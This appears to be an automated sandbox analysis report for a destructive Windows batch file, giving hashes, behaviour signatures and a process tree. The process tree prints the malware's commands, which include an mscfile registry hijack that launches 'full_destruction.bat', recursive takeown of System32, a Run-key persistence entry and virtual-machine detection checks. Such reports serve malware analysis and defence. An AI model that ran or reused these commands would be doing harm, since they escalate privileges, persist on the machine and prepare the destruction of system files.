Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08/09/2024, 06:47

General

  • Target

    custom.bat

  • Size

    4KB

  • MD5

    1c63745d54962d205bb3ae879bea1ed4

  • SHA1

    a832c894a4e2b6d486c48b9ea6ec79d94df9537e

  • SHA256

    396ea933ebc00327d2ea983206ccd2a832999c28a7df070000fe9874890b5a0e

  • SHA512

    129d73d0fd5967b232c54d50bc94ed171dd2ee5da2222b18bd350b42808799575a3a726c7b0b46b65d2717d025b9ebeb424a834f42540daf8308be3171a4af39

  • SSDEEP

    96:NQN1Vh0eAwx86mwCVHVsOvx8vXSu7eQ/GdZj/BawH6im7BFVPhGHixL:NOueA8CVHiOvx8vC0emG7LBawH6/Yix

Malware Config

Signatures

  • Modifies file permissions 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 2 IoCs
  • Gathers system information 1 TTPs 3 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\custom.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\system32\mode.com
      mode con: cols=800 lines=60
      2⤵
        PID:2692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$wshell = New-Object -ComObject wscript.shell; $wshell.SendKeys('{F11}')"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        2⤵
        • Delays execution with timeout.exe
        PID:108
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Users\Admin\AppData\Local\Temp\full_destruction.bat" /f
        2⤵
        • Modifies registry class
        PID:2060
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\full_destruction.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\* /r /d y
          3⤵
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:288
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        2⤵
        • Delays execution with timeout.exe
        PID:1756
      • C:\Windows\system32\reg.exe
        reg delete "HKCU\Software\Classes\mscfile" /f
        2⤵
        • Modifies registry class
        PID:2332
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:684
      • C:\Windows\system32\findstr.exe
        findstr /i "VirtualBox"
        2⤵
          PID:1912
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          2⤵
          • Gathers system information
          PID:1768
        • C:\Windows\system32\findstr.exe
          findstr /i "VMware"
          2⤵
            PID:908
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            2⤵
            • Gathers system information
            PID:560
          • C:\Windows\system32\findstr.exe
            findstr /i "Hyper-V"
            2⤵
              PID:1836
            • C:\Windows\system32\tasklist.exe
              tasklist
              2⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:1300
            • C:\Windows\system32\findstr.exe
              findstr /i "vmsrvc.exe"
              2⤵
                PID:2416
              • C:\Windows\system32\tasklist.exe
                tasklist
                2⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:1328
              • C:\Windows\system32\findstr.exe
                findstr /i "VBoxService.exe"
                2⤵
                  PID:1084
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "TotalDestruction" /d "C:\Users\Admin\AppData\Local\Temp\custom.bat" /f
                  2⤵
                  • Adds Run key to start application
                  PID:1772
                • C:\Windows\system32\takeown.exe
                  takeown /f C:\Windows\System32\* /r /d y
                  2⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2036

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\full_destruction.bat

                Filesize

                285B

                MD5

                4577f08330df24a350ff523ec87bf38e

                SHA1

                5bd1a1b1b8ca3b007102a75f7abaf72348955cf2

                SHA256

                5ef497b0848b259cbfdeb4057846d9a0f3907ec77aabe44219462ac6160bacae

                SHA512

                ed614d6c11981ac9b1aaee0455f4d1b07dce08c0e04fb9f78ad3a7c57db0ecd8e9e0fe21292e599b4963acc8bb66e8db88759fd5fd5fee94df4d3f75cab736c2

              • memory/2712-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

                Filesize

                4KB

              • memory/2712-5-0x000000001B640000-0x000000001B922000-memory.dmp

                Filesize

                2.9MB

              • memory/2712-6-0x0000000002960000-0x0000000002968000-memory.dmp

                Filesize

                32KB

              • memory/2712-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB

              • memory/2712-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB

              • memory/2712-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB

              • memory/2712-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB

              • memory/2712-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB

              • memory/2712-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

                Filesize

                9.6MB